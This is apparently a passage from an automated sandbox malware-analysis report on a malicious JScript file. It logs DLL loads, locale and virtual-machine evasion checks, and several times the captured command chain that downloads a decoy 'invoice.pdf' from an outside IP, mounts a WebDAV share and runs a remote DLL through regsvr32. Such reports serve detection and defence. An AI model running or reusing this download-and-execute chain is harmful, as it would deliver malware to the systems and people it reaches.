Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8747.js.csv");ITextStream.WriteLine(" entry:7771 f:tluxg");ITextStream.WriteLine(" exec:2 f:tluxg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5154			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4720			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2100	Thread sleep count: 5154 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2100	Thread sleep count: 4720 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5708	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3556	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6848	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2207221032.0000023766B39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}tz
Source: net.exe, 00000007.00000002.2261794637.000001C8BEF52000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2261794637.000001C8BEEE8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3493815361.0000017F4702B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3496090743.0000017F4C65A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll
